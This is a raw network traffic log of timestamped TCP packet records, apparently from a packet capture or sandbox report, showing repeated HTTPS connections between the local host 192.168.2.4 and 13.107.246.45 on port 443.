Oct 8, 2024 02:46:24.391087055 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.391127110 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.391163111 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.391175985 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.391184092 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.391189098 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.393640995 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.393757105 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.393846989 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.393944979 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.393966913 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.446413994 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.446582079 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.446638107 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.446703911 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.446723938 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.446744919 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.446748972 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.449242115 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.449330091 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.449425936 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.449526072 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.449548960 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.457206964 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.457264900 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.457343102 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.457369089 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.457391977 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.457437992 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.457458019 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.457458019 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.457468033 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.457474947 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.459326982 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.459366083 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.459414959 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.459511995 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.459522963 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.490859032 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.490983963 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.491036892 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.491077900 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.491095066 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.491106033 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.491111040 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.493390083 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.493427992 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.493477106 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.493587017 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.493602991 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.836327076 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.836908102 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.836940050 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.837290049 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.837294102 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.935719013 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.935883999 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.936074972 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.936753988 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.936753988 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.936768055 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.936785936 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.938831091 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.938937902 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.939043045 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.939204931 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.939244986 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.040862083 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.041425943 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.041520119 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.041774988 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.041790962 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.110665083 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.111248970 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.111319065 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.111541986 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.111557961 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.130850077 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.131304026 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.131337881 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.131638050 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.131643057 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.140384912 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.140633106 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.140649080 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.140929937 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.140934944 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.146164894 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.146253109 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.146437883 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.146437883 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.146795988 CEST	51473	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.146842003 CEST	443	51473	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.148770094 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.148818016 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.148894072 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.149013042 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.149029016 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.211750984 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.211901903 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.212095022 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.212095022 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.212760925 CEST	51474	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.212802887 CEST	443	51474	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.214356899 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.214395046 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.214467049 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.214592934 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.214605093 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.233472109 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.233628988 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.233699083 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.233721972 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.233735085 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.233747005 CEST	51475	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.233751059 CEST	443	51475	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.235814095 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.235905886 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.235991955 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.236351967 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.236381054 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.243400097 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.243468046 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.243515015 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.243520975 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.243566990 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.243643999 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.243665934 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.243684053 CEST	51476	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.243693113 CEST	443	51476	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.245702028 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.245740891 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.245806932 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.245928049 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.245937109 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.590540886 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.622767925 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.622813940 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.623084068 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.623095989 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.723727942 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.723896027 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.724076986 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.755124092 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.755124092 CEST	51477	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.755152941 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.755167007 CEST	443	51477	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.761379957 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.761411905 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.761462927 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.761951923 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.761962891 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.799638987 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.820059061 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.820122004 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.820518970 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.820533991 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.885761023 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.887135029 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.887197971 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.887504101 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.887517929 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.889463902 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.889745951 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.889759064 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.890090942 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.890095949 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.916184902 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.918174982 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.918186903 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.918545961 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.918550968 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.927138090 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.927442074 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.927481890 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.927493095 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.927520037 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.927580118 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.927599907 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.927612066 CEST	51478	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.927618027 CEST	443	51478	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.937216997 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.937279940 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.937376022 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.937463999 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.937478065 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.985162973 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.985186100 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.985222101 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.985404968 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.986123085 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.988092899 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.988141060 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.988173008 CEST	51480	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.988188982 CEST	443	51480	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.990967989 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.991055965 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.991132975 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.991242886 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.991261959 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.991846085 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.991982937 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.992034912 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.992068052 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.992068052 CEST	51481	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.992084026 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.992091894 CEST	443	51481	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.993695021 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.993777990 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:25.993861914 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.993942976 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:25.993962049 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.022571087 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.022635937 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.022696972 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.022824049 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.022838116 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.022846937 CEST	51479	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.022852898 CEST	443	51479	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.024851084 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.024894953 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.024967909 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.025091887 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.025100946 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.455598116 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.459501028 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.459527016 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.459969997 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.459974051 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.557604074 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.557667017 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.557742119 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.557764053 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.557782888 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.557837963 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.557960033 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.557971954 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.558003902 CEST	51482	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.558008909 CEST	443	51482	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.560655117 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.560754061 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.560864925 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.561027050 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.561047077 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.588816881 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.589266062 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.589293957 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.589540005 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.589549065 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.638227940 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.638588905 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.638678074 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.638863087 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.638881922 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.646332979 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.646617889 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.646648884 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.646884918 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.646897078 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.664277077 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.664597988 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.664630890 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.664768934 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.664778948 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.689068079 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.689346075 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.689412117 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.689491034 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.689512014 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.689526081 CEST	51483	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.689531088 CEST	443	51483	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.691752911 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.691786051 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.691859007 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.691972017 CEST	51488	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.691987038 CEST	443	51488	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.737310886 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.737368107 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.737423897 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.737453938 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.737693071 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.737709045 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.737721920 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.737829924 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.737941980 CEST	443	51485	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.737989902 CEST	51485	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.740195036 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.740228891 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.740318060 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.740564108 CEST	51489	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.740581036 CEST	443	51489	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.746398926 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.746417046 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.746455908 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.746473074 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.746521950 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.746572971 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.746588945 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.746599913 CEST	51484	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.746606112 CEST	443	51484	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.748907089 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.748944044 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.749016047 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.749108076 CEST	51490	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.749125004 CEST	443	51490	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.763586998 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.763767958 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.763819933 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.763844013 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.763906002 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.763972044 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.763972044 CEST	51486	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.764014006 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.764041901 CEST	443	51486	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.766145945 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.766218901 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:26.766299009 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.766418934 CEST	51491	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:26.766436100 CEST	443	51491	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.241688967 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.242248058 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.242300034 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.242691040 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.242703915 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.346987009 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.347152948 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.347225904 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.347439051 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.347439051 CEST	51487	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.347469091 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.347489119 CEST	443	51487	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:27.350033045 CEST	51492	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:27.350128889 CEST	443	51492	13.107.246.45	192.168.2.4
